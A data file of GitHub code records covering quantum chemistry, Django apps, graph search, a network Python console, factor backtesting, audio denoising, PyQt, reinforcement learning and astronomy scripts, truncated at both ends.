functions\n        A simple python function which computes the Pivoted Cholesky decomposition/approximation of positive semi-definite operator. Only diagonal elements and select rows of that operator's matrix represenation are required.\n        get_diag - A function which takes no arguments and returns the diagonal of the matrix when called.\n        get_row - A function which takes 1 integer argument and returns the desired row (zero indexed).\n        M - The maximum rank of the approximate decomposition; an integer.\n        err_tol - The maximum error tolerance, that is difference between the approximate decomposition and true matrix, allowed. Note that this is in the Trace norm, not the spectral or frobenius norm.\n        Returns: R, an upper triangular matrix of column dimension equal to the target matrix. It's row dimension will be at most M, but may be less if the termination condition was acceptably low error rather than max iters reached.\n        \"\"\"\n        #temp = 1e-8 *np.identity(self.No_as**2)\n        ints_2e = rotate_spatial_ei2(self.ints_2e_ao.copy(),self.C.T)\n        V = np.reshape(ints_2e,(self.No_as**2,self.No_as**2))\n\n        def get_diag():\n            diag = np.diagonal(V)\n            diag.flags.writeable=True\n            return diag\n\n        def get_row(i):\n            return V[i,:]\n        if M=='max':\n            M = self.No_as**2\n\n    \n        d = np.copy(get_diag())\n        N = len(d)\n        n = int(N**(0.5))\n    \n        pi = list(range(N))\n    \n        R = np.zeros([M,N])\n   \n        err = np.sum(np.abs(d))\n    \n        m = 0\n        while (m < M) and (err > err_tol):\n    \n            i = m + np.argmax([d[pi[j]] for j in range(m,N)])\n    \n            tmp = pi[m]\n            pi[m] = pi[i]\n            pi[i] = tmp\n\n            R[m,pi[m]] = np.sqrt(d[pi[m]])\n            Apim = get_row(pi[m])\n            for i in range(m+1, N):\n                if m > 0:\n                    ip = np.inner(R[:m,pi[m]], R[:m,pi[i]])\n                else:\n                    ip = 0\n                R[m,pi[i]] = (Apim[pi[i]] - ip) / R[m,pi[m]]\n                d[pi[i]] -= pow(R[m,pi[i]],2)\n    \n            err = np.sum([d[pi[i]] for i in range(m+1,N)])\n            m += 1\n    \n        R = R[:m,:]\n        if self.verbose:\n            print('Final rank: {}'.format(m))\n            print('Error: {}'.format(err))\n        self.ints_2e_chol = R\n\n        self.chol_H1 = self.build_cholesky_operator_Hp()\n        self.chol_H2 = []\n        for i in range(m):\n            Li = np.zeros((n,n))\n            for j in range(N):\n                a,b = j//n,j%n\n                Li[a,b] = R[i,j]\n            #print(Li)\n            #print(np.linalg.eigvalsh(Li))\n            Up,Np = self.build_cholesky_operator_Vp(Li)\n            self.chol_H2.append([Up,Np])\n\n\n    def build_cholesky_operator_Hp(self):\n        alp = self.alpha_mo['active']\n        bet = self.beta_mo['active']\n        n= len(alp)\n        H = Operator()\n        for i in alp:\n            for j in alp:\n                for k in alp+bet:\n                    if abs(self.ints_2e[i,k,j,k])<1e-8:\n                        continue\n                    H+= FermiString(\n                        N=2*n,\n                        coeff=0.5*self.ints_2e[i,k,j,k],\n                        indices=[i,j],\n                        ops='+-',\n                        )\n                    if abs(self.ints_2e[i,k,j,k])<1e-8:\n                        continue\n        for i in bet:\n            for j in bet:\n                for k in alp+bet:\n                    H+= FermiString(\n                        N=2*n,\n                        coeff=0.5*self.ints_2e[i,k,j,k],\n                        indices=[i,j],\n                        ops='+-',\n                        )\n        for i in alp+bet:\n            for j in alp+bet:\n                if abs(self.ints_1e[i,j])<1e-8:\n                    continue\n                H+= FermiString(\n                    N=2*n,\n                    coeff=0.5*self.ints_1e[i,j],\n                    indices=[i,j],\n                    ops='+-',\n                    )\n        Hp = H.transform(self._transform)\n        Hp.clean(1e-8)\n        return Hp\n\n    def build_cholesky_operator_Vp(self,Li):\n        eigval, U = np.linalg.eig(Li)\n        # QR decomposition\n        done = False\n        n = len(eigval)\n        temp = np.copy(U)\n        #print(U)\n        Uf = Operator()\n        for c in range(0,n):\n            for r in reversed(range(c+1,n)):\n                #print(r,c)\n                if abs(temp[r,c])<1e-8:\n                    # already 0 \n                    continue\n                elif abs(temp[r-1,c])<1e-8:\n                    # swap circuit\n                    theta = np.pi/2\n                else:\n                    tan  = temp[r,c]/temp[r-1,c]\n\n                    theta = np.arctan(tan)\n                givens = np.identity(n)\n                givens[r,r]=np.cos(theta)\n                givens[r-1,r-1]=np.cos(theta)\n                givens[r-1,r]= + np.sin(theta)\n                givens[r,r-1]= - np.sin(theta)\n\n                temp = np.dot(givens,temp)\n                Uf+= FermiString(\n                        N=2*n, \n                        coeff=theta,\n                        indices=[r,r-1],\n                        ops='+-',\n                        )\n                Uf+= FermiString(\n                        N=2*n, \n                        coeff=-theta,\n                        indices=[r-1,r],\n                        ops='+-',\n                        )\n                Uf+= FermiString(\n                        N=2*n, \n                        coeff=theta,\n                        indices=[r+n,r+n-1],\n                        ops='+-',\n                        )\n                Uf+= FermiString(\n                        N=2*n, \n                        coeff=-theta,\n                        indices=[r+n-1,r+n],\n                        ops='+-',\n                        )\n        Nf = Operator()\n        for i in range(n):\n            if abs(eigval[i])<1e-6:\n                continue\n            for j in range(n):\n                if abs(eigval[j])<1e-6:\n                    continue\n                Nf+= FermiString( #aa\n                        N=2*n,\n                        coeff=eigval[i]*eigval[j]*0.5,\n                        ops='+-+-',\n                        indices=[i,i,j,j]\n                        )\n                Nf+= FermiString( #ab\n                        N=2*n,\n                        coeff=eigval[i]*eigval[j]*0.5,\n                        ops='+-+-',\n                        indices=[i+n,i+n,j,j]\n                        )\n                Nf+= FermiString( #ab\n                        N=2*n,\n                        coeff=eigval[i]*eigval[j]*0.5,\n                        ops='+-+-',\n                        indices=[i,i,j+n,j+n]\n                        )\n                Nf+= FermiString( #ab\n                        N=2*n,\n                        coeff=eigval[i]*eigval[j]*0.5,\n                        ops='+-+-',\n                        indices=[i+n,i+n,j+n,j+n]\n                        )\n        Up = Uf.transform(self._transform)\n        Up.clean(1e-8)\n        Np = Nf.transform(self._transform)\n        Np.clean(1e-8)\n        return Up, Np\n\n\n\n\n\n\n\n    @property\n    def model(self):\n        return self._model\n\n    @model.setter\n    def model(self,mod):\n        self._model = mod\n\n","repo_name":"damazz/HQCA","sub_path":"hqca/hamiltonian/molecular.py","file_name":"molecular.py","file_ext":"py","file_size_in_byte":21646,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"38"}
{"seq_id":"41290053763","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n    url(r'^$', views.index, name='home'),\n    url(r'^jobs/.*$', views.jobs, name='jobs'),\n    url(r'^resubmit-job/.*$', views.resubmit_job, name='resubmit_job'),\n    url(r'^compare/.*$', views.compare, name='compare'),\n    url(r'^checklist/.*$', views.checklist, name='checklist'),\n    url(r'^submit-jobs/.*$', views.submit_lava_jobs, name='submit_jobs'),\n    url(r'^test-report/.*$', views.test_report, name='test_report'),\n    url(r'^add-bug/.*$', views.add_bug, name='add_bug'),\n    url(r'^add-comment/.*$', views.add_comment, name='add_comment'),\n    url(r'^show-trend/.*$', views.show_trend, name='show_trend'),\n    url(r'^show-cts-vts-failures/.*$', views.show_cts_vts_failures, name='show_cts_vts_failures'),\n    url(r'^file-bug/.*$', views.file_bug, name='file_bug'),\n]\n","repo_name":"tom-gall/android-report","sub_path":"report/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"17348136383","text":"from core.models import (BaseEntity, BaseEntityManager, User, asure_boolean,\n                         asure_string, asure_user)\nfrom django.db import models\n\n###############################################################################\n#                               validators                                    #\n###############################################################################\n\n\ndef asure_language(language):\n  \"\"\"check if language is submitted\"\"\"\n  if not language:\n    raise ValueError('language is not submitted')\n  if not isinstance(language, Language):\n    raise ValueError('language is not a Language')\n\n\ndef asure_word(word, language=None):\n  \"\"\"check if word is submitted\"\"\"\n  if not word:\n    raise ValueError('word is not submitted')\n  if not isinstance(word, Word):\n    raise ValueError('word is not a Word')\n  if language is not None:\n    if not isinstance(language, Language):\n      raise ValueError('language is not a Language')\n    if not word.language == language:\n      raise ValueError('word is not in the given language')\n\n\ndef asure_languages(languages):\n  \"\"\"check if languages is submitted\"\"\"\n  if not languages:\n    raise ValueError('languages is not submitted')\n  if not isinstance(languages, list):\n    raise ValueError('languages is not a list')\n  if not len(languages) == 2:\n    raise ValueError('languages is too short')\n  for language in languages:\n    if not isinstance(language, Language):\n      raise ValueError('language is not a Language')\n  if languages[0] == languages[1]:\n    raise ValueError('languages are the same')\n\n\ndef asure_words(words, language=None):\n  \"\"\"check if words is submitted\"\"\"\n  if not words:\n    raise ValueError('words is not submitted')\n  if not isinstance(words, list):\n    raise ValueError('words is not a list')\n  if not len(words) > 0:\n    raise ValueError('words must be at least 1')\n  for word in words:\n    if not isinstance(word, Word):\n      raise ValueError('word is not a Word')\n    if language is not None:\n      if not isinstance(language, Language):\n        raise ValueError('language is not a Language')\n    if not word.language == language:\n      raise ValueError('word is not in the given language')\n\n###############################################################################\n#                           Managers                                          #\n###############################################################################\n\n\nclass LanguageManager(BaseEntityManager):\n  \"\"\"Language manager\"\"\"\n\n  def create_language(self, name=None, author=None, official=None, **kwargs):\n    \"\"\"Creates and saves a new language\"\"\"\n\n    asure_string(name, 1)\n    asure_user(author, \"user\")\n    asure_boolean(official)\n\n    language = self.model(name=name, author=author, official=official, **kwargs)\n    language.save(using=self._db)\n\n    return language\n\n\nclass WordManager(BaseEntityManager):\n  \"\"\"Word manager\"\"\"\n\n  def create_word(self, name=None, language=None, description=None, author=None, official=None, **kwargs):\n    \"\"\"Creates and saves a new word\"\"\"\n\n    asure_string(name, 1)\n    asure_language(language)\n    asure_string(description)\n    asure_user(author, \"user\")\n    asure_boolean(official)\n\n    word = self.model(name=name, language=language, description=description, author=author, official=official, **kwargs)\n    word.save(using=self._db)\n\n    return word\n\n  def create_word_with_synonyms(self, name=None, language=None, description=None, synonyms=None, author=None,\n                                official=None, category=None, **kwargs):\n    \"\"\"Creates and saves a new word with synonyms\"\"\"\n\n    asure_string(name, 1)\n    asure_language(language)\n    asure_string(description)\n    for synonym in synonyms:\n      asure_word(synonym, language)\n    asure_user(author, \"user\")\n    asure_boolean(official)\n    asure_string(category)\n\n    word = self.create_word(name=name, language=language, description=description,\n                            author=author, official=official, **kwargs)\n    for synonym in synonyms:\n      word.synonyms.add(synonym)\n    word.save(using=self._db)\n\n    return word\n\n\n###############################################################################\n#                           Models                                            #\n###############################################################################\n\nclass Language(BaseEntity):\n  \"\"\"Language model\"\"\"\n  name = models.CharField(max_length=255, unique=True)\n  author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='composed_languages')\n  subscribers = models.ManyToManyField(User, related_name='subscribed_languages')\n  official = models.BooleanField(default=False)\n\n  objects = LanguageManager()\n\n  def add_subscriber(self, user):\n    \"\"\"Add a subscriber to the language\"\"\"\n    if not isinstance(user, User):\n      raise ValueError('The given user must be a user object')\n    self.subscribers.add(user)\n\n  def __eq__(self, other):\n    return self.name == other.name and self.id == other.id and self.active == other.active\n\n  def __str__(self):\n    return f\"language object {self.name} active: {self.active}\"\n\n\nclass Word(BaseEntity):\n  \"\"\"Word model\"\"\"\n  name = models.CharField(max_length=255, unique=True)\n  language = models.ForeignKey(Language, on_delete=models.CASCADE, related_name='words')\n  synonyms = models.ManyToManyField('self', blank=True)\n  description = models.TextField(blank=True)\n  author = models.ForeignKey(User, on_delete=models.CASCADE, related_name='composed_words')\n  official = models.BooleanField(default=False)\n  type = models.CharField(max_length=511, blank=True)   # adj, noun, verb, ...\n  gender = models.CharField(max_length=1, blank=True)   # only aplicable if noun\n  practices = models.IntegerField(default=0)\n  succesful_practices = models.IntegerField(default=0)\n\n  objects = WordManager()\n\n  def add_synonym(self, word):\n    \"\"\"Adds a synonym to this word\"\"\"\n    if not isinstance(word, Word):\n      raise ValueError('The given word must be a Word object')\n    self.synonyms.add(word)\n    self.save()\n\n    return self\n\n  def remove_synonym(self, word):\n    \"\"\"Removes a synonym from this word\"\"\"\n    if not isinstance(word, Word):\n      raise ValueError('The given word must be a Word object')\n    self.synonyms.remove(word)\n    self.save()\n\n    return self\n\n  def add_practice(self, successful):\n    \"\"\"Adds a practice to this word\"\"\"\n    self.practices += 1\n    if successful:\n      self.successful_practices += 1\n    self.save()\n\n    return self\n\n  # def set_context(self, word_context):\n  #   \"\"\"sets a word context\"\"\"\n  #   if not isinstance(word_context, WordContext):\n  #     raise ValueError('The given word context must be a WordContext object')\n  #   self.context = word_context\n  #   self.save()\n\n  #   return self\n\n  def ration(self):\n    \"\"\"Returns the ration of successful practices to all practices\"\"\"\n    return self.successful_practices / self.practices * 100\n\n  def __eq__(self, other):\n    return (self.name == other.name and self.id == other.id and self.active == other.active and\n            self.language == other.language and self.description == other.description and\n            self.synonyms == other.synonyms)\n\n  def __str__(self):\n    return f\"word object {self.name} active: {self.active} language: {self.language}\"\n","repo_name":"gitoak/wurding","sub_path":"server/content/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":7303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"10251765839","text":"from sys import stdin\na, b, c = map(int, stdin.readline().split())\ngraph = [[] for _ in range(a+1)]\ndfs_c, bfs_c = [False] * (a+1), [False] * (a+1)\n\nfor _ in range(b):\n    n, m = map(int, stdin.readline().split())\n    graph[n].append(m)\n    graph[m].append(n)\n\nfor _ in range(a+1):\n    graph[_].sort()\n\ndfs_result = []\ndef dfs(graph, c):\n    dfs_result.append(c)\n    dfs_c[c] = True\n    for t in graph[c]:\n        if dfs_c[t] == False:\n            dfs_c[t] = True\n            dfs(graph, t)\n\nbfs_result = []\ndef bfs(graph, c):\n    qu = [c]\n    bfs_c[c] = True\n    while len(qu):\n        cur = qu.pop(0)\n        bfs_result.append(cur)\n        for t in graph[cur]:\n            if bfs_c[t] == False:\n                bfs_c[t] = True\n                qu.append(t)\n\ndfs(graph, c); bfs(graph, c)\n\nfor _ in dfs_result: print(_, end=' ')\nprint()\nfor _ in bfs_result: print(_, end=' ')\n","repo_name":"oronaminc/Baekjoon","sub_path":"1260.py","file_name":"1260.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14078021676","text":"from __future__ import with_statement\nimport sys\nimport urllib\nfrom mpx.lib import msglog\nfrom mpx.service.interactive.tools import ByteBuffer\nfrom mpx.service.interactive.tools import SimpleProducer\nfrom mpx.service.interactive.tools import ByteProducer\nfrom mpx.service.interactive.tools import LineProducer\nfrom mpx.service.interactive.tools import QuoteProducer\nfrom mpx.service.interactive.tools import AsyncChannel\nfrom mpx.service.network.utilities.counting import Counter\nfrom mpx.service.interactive.console import InteractiveSession\n\nclass ConsoleChannel(AsyncChannel):\n    counter = Counter()\n    def __init__(self, dispatcher, connection):\n        super(ConsoleChannel, self).__init__(dispatcher, connection)\n        self.number = self.counter.increment()\n        self.buffer = ByteBuffer()\n        self.setup_console()\n    def setup_console(self):\n        self.namespace = {'loadtools': self.loadtools}\n        self.console = InteractiveSession(self)\n        self.set_terminator('\\r\\n')\n        self.console.start()\n        self.initprompt()\n    def initprompt(self):\n        banner = [sys.version]\n        banner.append(\"%s\" % self.dispatcher)\n        banner.append(str(self.dispatcher))\n        banner.append(str(self))\n        banner.append('<loadtools() will add standard tools>')\n        self.console.prompt(\"\\n\".join(banner))\n    def push(self, data):\n        producer = SimpleProducer(data)\n        producer = ByteProducer(producer)\n        producer = QuoteProducer(producer)\n        producer = LineProducer(producer)\n        return self.push_with_producer(producer)\n    def loadtools(self):\n        from mpx.lib import msglog\n        from mpx.lib.node import as_node\n        from mpx.lib.node import as_node_url\n        self.namespace['msglog'] = msglog\n        self.namespace['as_node'] = as_node\n        self.namespace['root'] = as_node('/')\n        self.namespace['as_node_url'] = as_node_url\n    def handle_connect(self):\n        pass\n    def handle_expt(self):\n        self.debugout('%s handling exceptional event.', self, level=0)\n        self.close()\n    def handle_error(self):\n        self.debugout('%s closing due to exception.', self, level=0)\n        msglog.exception(prefix = 'handled')\n        self.close()\n    def close(self):\n        self.console.stop()\n        super(ConsoleChannel, self).close()\n        self.debugout('%s closed and removed.', self, level=1)\n    def recv(self, buffer_size):\n        data = super(ConsoleChannel, self).recv(buffer_size)\n        unquoted = urllib.unquote(data)\n        self.debugout('%s << %r (%r)', self, data, unquoted, level=2)\n        return data\n    def send(self, data):\n        result = super(ConsoleChannel, self).send(data)\n        unquoted = urllib.unquote(data)\n        self.debugout('%s >> %r (%r)', self, data, unquoted, level=2)\n        return result\n    def collect_incoming_data(self, bytes):\n        self.buffer.write(bytes)\n    def found_terminator(self):\n        quoted = self.buffer.read()\n        command = urllib.unquote(quoted)\n        self.debugout('%s console.handle(%r)', self, command, level=1)\n        self.console.handle(urllib.unquote(command))\n    def __str__(self):\n        status = [type(self).__name__]\n        status.append('#%03d' % self.number)\n        return ' '.join(status)\n    def __repr__(self):\n        status = [str(self)]\n        return '<%s at %#x>' % (status, id(self))\n    def debugout(self, message, *args, **kw):\n        self.dispatcher.debugout(message, *args, **kw)\n","repo_name":"mcruse/monotone","sub_path":"broadway/mpx/service/interactive/channel.py","file_name":"channel.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"38"}
{"seq_id":"72623629552","text":"import singleFactorTest as sf\nimport pandas as pd\n\ndef read_data():\n    factor1 = pd.read_csv('factors1.csv',index_col=0)\n    industry = pd.read_csv('industryCiticsM.csv',index_col=0)\n    futRet = pd.read_csv('futRet.csv',index_col=0)\n    zz500 = pd.read_csv('zz500.csv',index_col=0)\n    ffc = pd.read_csv('freeFloatCapM.csv',index_col=0)\n    df= sf.DataDealing()\n    industryM = df.dealing(factor1,industry)\n    futRet = df.dealing(factor1,futRet)\n    zz500 = df.dealing(factor1,zz500)\n    ffc = df.dealing(factor1,ffc)\n    return  factor1,futRet,industryM,zz500,ffc\n\n# 标准化方法1：去异常值，ZScore法\ndef ZScore(ind_choice=True):\n    factor1, futRet, industryM,_,_ = read_data()\n    sf1 = sf.OutlierCleaner()\n    sf1.Nstd_pannel(factor1)\n    sf2 = sf.Standardization()\n    if ind_choice: factor = sf2.ZScore(factor1)\n    else: factor = sf2.ZScore_Ind(factor1,industryM)\n    return factor\n\n# 标准化方法2：直接取rank标准化\ndef Quantile(method_choice='maxmin'):\n    factor1, futRet, industryM,_,_ = read_data()\n    sf2 = sf.Standardization()\n    if method_choice == 'sta': factor = sf2.QuantileChange_Ind(factor1,industryM)\n    else: factor = sf2.QuantileMaxMin_Ind(factor1,industryM)\n    return factor\n\n# 因子行业中性处理\ndef ind_deal(method='Quantile'):\n    if method=='Quantile':factor=Quantile()\n    else: factor = ZScore()\n    sf3 = sf.Orthogonalized()\n    _,_,industryM,_,_ = read_data()\n    factor = sf3.get(factor,industryM)\n    return factor\n\n# 回归计算序列t值\ndef tstats():\n    factor = ind_deal()\n    _,futRet,_,_ ,_= read_data()\n    sf4 = sf.Regression()\n    Para = sf4.get(factor,futRet)\n    return Para\n\ndef cacu_rankIC():\n    factor = ind_deal()\n    _,futRet,_,_,_ = read_data()\n    sf5 = sf.IC()\n    ic, summary = sf5.rankIC(factor,futRet)\n    return ic, summary\n\ndef split_test():\n    factor, futRet, industryM, zz500,ffc = read_data()\n    sf6 = sf.SpiltGroup()\n    sf6.get(factor,futRet,industryM=industryM, zz500=zz500,ffc=ffc,isIndustryNeutral=True,SpiltGroupType = 'Industry_AVG')\n    return\n\nsplit_test()","repo_name":"kimmy966/multiFactors","sub_path":"test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"12932568573","text":"from django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import UserForm\nimport users.globalbaz\nfrom .models import User\n\n\n\ndef register(request ) :\n\n    if request.method == 'POST':\n        user_form = UserForm(request.POST)\n\n        if user_form.is_valid():\n            user = user_form.save()\n\n\n            messages.success(request, f'Your profile was successfully created!')\n\n            return redirect('login')\n        else:\n            messages.error(request, f'Please correct the error below.')\n    else:\n        user_form = UserForm()\n\n    return render(request, 'users/register.html', {\n        'user_form': user_form,\n\n\n    })\n\ndef get_user_profile(request,username):\n\n    try:\n        user_p = User.objects.get(username=username)\n\n    except (User.DoesNotExist):\n        messages.warning(request,'No such username exists')\n        return redirect('blog-home')\n    return render(request,'users/user_profile.html',{\"user_p\" : user_p })\n\n\n\n'''\nif request.method == 'POST':\n    user_form = UserForm(request.POST)\n    profile_form = ProfileForm(request.POST)\n    if user_form.is_valid() and profile_form.is_valid():\n\n        global user\n        user = user_form.save()\n\n        user.profile.type = profile_form.cleaned_data.get('type')\n        user.profile.save()\n\n        messages.success(request, f'Your profile was successfully created!')\n\n        return redirect('register_student')\n    else:\n        messages.error(request, f'Please correct the error below.')\nelse:\n    user_form = UserForm()\n    profile_form = ProfileForm()\nreturn render(request, 'users/register.html', {\n    'user_form': user_form,\n    'profile_form': profile_form\n})\n'''\n\n\n'''\ndef register(request):\n    if request.method == 'POST':\n        form = UserRegisterForm(request.POST)\n        if form.is_valid():\n            form.save()\n            username = form.cleaned_data.get('username')\n            #messages.success(request, f'Account created for {username}!')\n            return redirect('blog-home')\n    else:\n        form = UserRegisterForm()\n    return render(request, 'users/register.html', {'form': form})\n'''\n","repo_name":"yashdusing/Technext","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"21757993356","text":"from utils import *\nimport warnings\nimport config as cfg\nimport onnx\n\n\n# Change these only when dataset changed\nclean_json_file = cfg.CLEAN_JSON_FILE_TEST\nnoise_json_file = cfg.NOISE_JSON_FILE_TEST\nnoisy_saving_path_base = cfg.NOISY_TEST_FILE_SAVING_PATH\nclean_saving_path_base = cfg.CLEAN_TEST_FILE_SAVING_PATH\n\n\n# Change these for testing a new model\ndenoised_audio_path = cfg.DENOISED_TEST_FILE_SAVING_PATH\ncsv_path = cfg.TEST_STATS\nmodel = cfg.TEST_MODEL\ndumped_onnx = cfg.DUMPED_ONNX_MODEL\n\n\nwarnings.filterwarnings('ignore')\n# generate_noisy_waveform_for_test_set(clean_json_file, noise_json_file, fs, noisy_saving_path_base, clean_saving_path_base)\nevaluate_test_audios(noisy_saving_path_base,clean_saving_path_base,model,cfg.fs,cfg.window_length,denoised_audio_path,csv_path,cfg.numFeatures,cfg.numSegments)\n\n# dump_onnx_model(model,[1,2,cfg.numFeatures,cfg.numSegments],dumped_onnx)","repo_name":"kts707/real-time-audio-denoiser","sub_path":"CNN_model_with_complex_mask/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"38"}
{"seq_id":"37301232900","text":"import sys \nfrom PyQt5.QtWidgets import *\nfrom form1 import Ui_MainWindow\n\nclass AnaFrom(Ui_MainWindow,QMainWindow):\n    def __init__(self):\n        super(AnaFrom,self).__init__()\n        self.setupUi(self)\n        self.show()\n        self.pushButton.clicked.connect(self.Ekle)                               \n        self.pushButton_3.clicked.connect(self.Doldur)\n        self.pushButton_4.clicked.connect(self.Temizle)\n        self.tableWidget.doubleClicked.connect(self.Sec)\n    \n    \n    def Sec(self):\n        secim=self.tableWidget.selectedItems() #tablo hücresindeki bir değeri liste yapar\n        self.label.setText(secim[0].text()) #secilen elamanı labela yazar\n    \n        \n    def Temizle(self):\n          self.tableWidget.clear()    \n              \n    def Doldur(self):\n        self.tableWidget.setHorizontalHeaderLabels(('Öğr no','öğrenci ad','öğrenci soyad')) #başlık değiştirir\n        ogrenci=[[\"12\",\"Name\",\"Surname\"],[\"15\",\"Name1\",\"Surname2\"],[\"15\",\"Name1\",\"Surname2\"]\n                 ,[\"15\",\"Name1\",\"Surname2\"],[\"15\",\"Name1\",\"Surname2\"]]\n    #    self.tableWidget.setItem(0,0,QTableWidgetItem(ogrenci[0]))\n    #   self.tableWidget.setItem(0,0,QTableWidgetItem(ogrenci[1]))\n    #    self.tableWidget.setItem(0,0,QTableWidgetItem(ogrenci[2]))\n        \n        i=0\n        for x in ogrenci : \n            j=0 \n            self.tableWidget.insertRow(x) #table nesnesine ilk satırı ekledi\n            for y in ogrenci:\n                 self.tableWidget.setItem(i,j,QTableWidgetItem(ogrenci[y]))\n                 j=j+1\n            i+=1     \n        \n    def Ekle(self):\n        self.tableWidget.insertRow(0)\n        self.tableWidget.setItem(1,1,QTableWidgetItem())\n        \n  \n            \nproje1=QApplication(sys.argv)\nform1=AnaFrom()\nsys.exit(proje1.exec()) \n\n#Ödev seçilen elemandan yeni liste oluşturacak list widget yap.","repo_name":"SELIMCNR/KsuPython","sub_path":"hafta6/proje.py","file_name":"proje.py","file_ext":"py","file_size_in_byte":1857,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"36076610405","text":"import gym\n\nimport numpy as np\n\nfrom stable_baselines.common import make_vec_env\nfrom stable_baselines import PPO2\nfrom CARS_TRIAL_GymEnvironment_DiscreteActions import CustomEnv\nfrom stable_baselines.common.schedules import ConstantSchedule, LinearSchedule\n\nfilename = \"CARS_medium5_225_LSTM_ppo2_LR_LinearSchedule_timesteps_2000000ep_length_120turnrate_0.1963125maxspeed_2.5randomBall_TruebinaryReward_True\"\n#filename = \"CARS_medium5_225_newObs_ppo2_LR_LinearSchedule_timesteps_4000000ep_length_120turnrate_0.1963125maxspeed_2.5randomBall_TruebinaryReward_True\"\n# Load signal parameters from file:\nf = open(\"../Envparameters/envparameters_\" + filename, \"r\")\nenvparameters = f.read()\nenvparameters = envparameters.strip('[')\nenvparameters = envparameters.strip(']')\nf_list = [i for i in envparameters.split(\",\")]\nprint(\"envparameters: \" + str(f_list))\n\nmy_step_limit = int(f_list[0])\nmy_step_size = float(f_list[1])\nmy_maxspeed = float(f_list[2])\nmy_acceleration = float(f_list[3])\nmy_randomBall = bool(f_list[4])\nmy_binaryReward = bool(f_list[5])\n\n# Initialize environment with signal parameters:\nenv = make_vec_env(CustomEnv, n_envs=16, env_kwargs={'step_limit':my_step_limit, 'step_size' : my_step_size, 'maxspeed' : my_maxspeed, 'acceleration' : my_acceleration, 'randomBall' : my_randomBall, 'binaryReward' : my_binaryReward})\n\n# Load trained model and execute it forever:\nmodel = PPO2.load(\"../Models/\" +filename)\n\nwhile True:\n    obs = env.reset()\n    for i in range(my_step_limit*2): \n        action, _states = model.predict(obs)\n        #print(obs)\n        obs, rewards, dones, info = env.step(action)\n        print(rewards)\n        for environment in env.envs:\n            environment.renderSlow(50)\n        # if(dones):\n        #      env.render()\n        #      break\n        #env.envs[0].renderSlow(50)\n\n# while True:\n#     obs = env.reset()\n#     #obs = env.envs[0].reset()\n#     #obs = obs.reshape((1,4))\n#     #print(env.observation_space.shape)\n#     #obs, rewards, dones, info = env.step([0,0])\n#     for i in range(my_step_limit*2): #my_step_limit\n#         action, _states = model.predict(obs)\n#         #print(action)\n#         print(obs[0])\n#         obs, rewards, dones, info = env.step(action)\n#         #obs, rewards, dones, info = env.envs[0].step(action)\n#         #obs = np.array(obs).reshape((1,4))\n#         if(dones[0]):\n#              env.envs[0].renderSlow(1)\n#              break\n#         env.envs[0].renderSlow(10)\n        \n    ","repo_name":"Favodar/BA","sub_path":"Scripts/2D/Load_CARS_LSTM_PPO2.py","file_name":"Load_CARS_LSTM_PPO2.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"29540609897","text":"get_ipython().magic('matplotlib inline')\n\nfrom astroML.plotting          import hist\nfrom astropy.io                import fits\nfrom astropy.modeling          import models, fitting\nfrom datetime                  import datetime\nfrom image_registration        import cross_correlation_shifts\nfrom glob                      import glob\nfrom matplotlib.ticker         import MaxNLocator\nfrom matplotlib                import style\nfrom os                        import listdir\nfrom pandas                    import DataFrame, read_csv, read_pickle, scatter_matrix\nfrom photutils                 import CircularAperture, CircularAnnulus, aperture_photometry, findstars\nfrom least_asymmetry           import actr, moments, fitgaussian\nfrom pylab                     import ion, gcf, sort, linspace, indices, median, mean, std, empty, figure, transpose, ceil\nfrom pylab                     import concatenate, pi, sqrt, ones, diag, inf, rcParams, isnan, isfinite, array, nanmax\nfrom numpy                     import min as npmin, max as npmax, zeros, arange, sum, float, isnan, hstack\nfrom numpy                     import int32 as npint, round as npround, nansum as sum, nanstd as std\nfrom seaborn                   import *\nfrom scipy.special             import erf\nfrom scipy                     import stats\nfrom sklearn.externals         import joblib\nfrom socket                    import gethostname\nfrom statsmodels.robust        import scale\nfrom statsmodels.nonparametric import kde\nfrom sys                       import exit\nfrom time                      import time, localtime\n\nfrom numpy                     import zeros, nanmedian as median, nanmean as mean, nan\nfrom sys                       import exit\nfrom sklearn.externals         import joblib\nfrom least_asymmetry           import actr\n\nimport numpy as np\n\nrcParams['image.interpolation'] = 'None'\nrcParams['image.cmap']          = 'Blues_r'\nrcParams['axes.grid']           = False\n\ndataDir = '/path/to/fits/files/main/directory/'\nfitsFileDir = 'path/to/fits/subdirectories/'\n\nfitsFilenames = glob(dataDir + fitsFileDir + '*slp.fits')\nfitsFilenames\n\ndef get_julian_date_from_gregorian_date(*date):\n    \"\"\"gd2jd.py converts a UT Gregorian date to Julian date.\n    \n    Functions for JD <-> GD conversion, \n      courtesy of Ian Crossfield at \n      http://www.astro.ucla.edu/~ianc/python/_modules/date.html\n    \n    Downloaded from Marshall Perrin Github at\n        https://github.com/mperrin/misc_astro/blob/master/idlastro_ports/gd2jd.py\n    \n    Usage: gd2jd.py (2009, 02, 25, 01, 59, 59)\n\n    To get the current Julian date:\n        import time\n        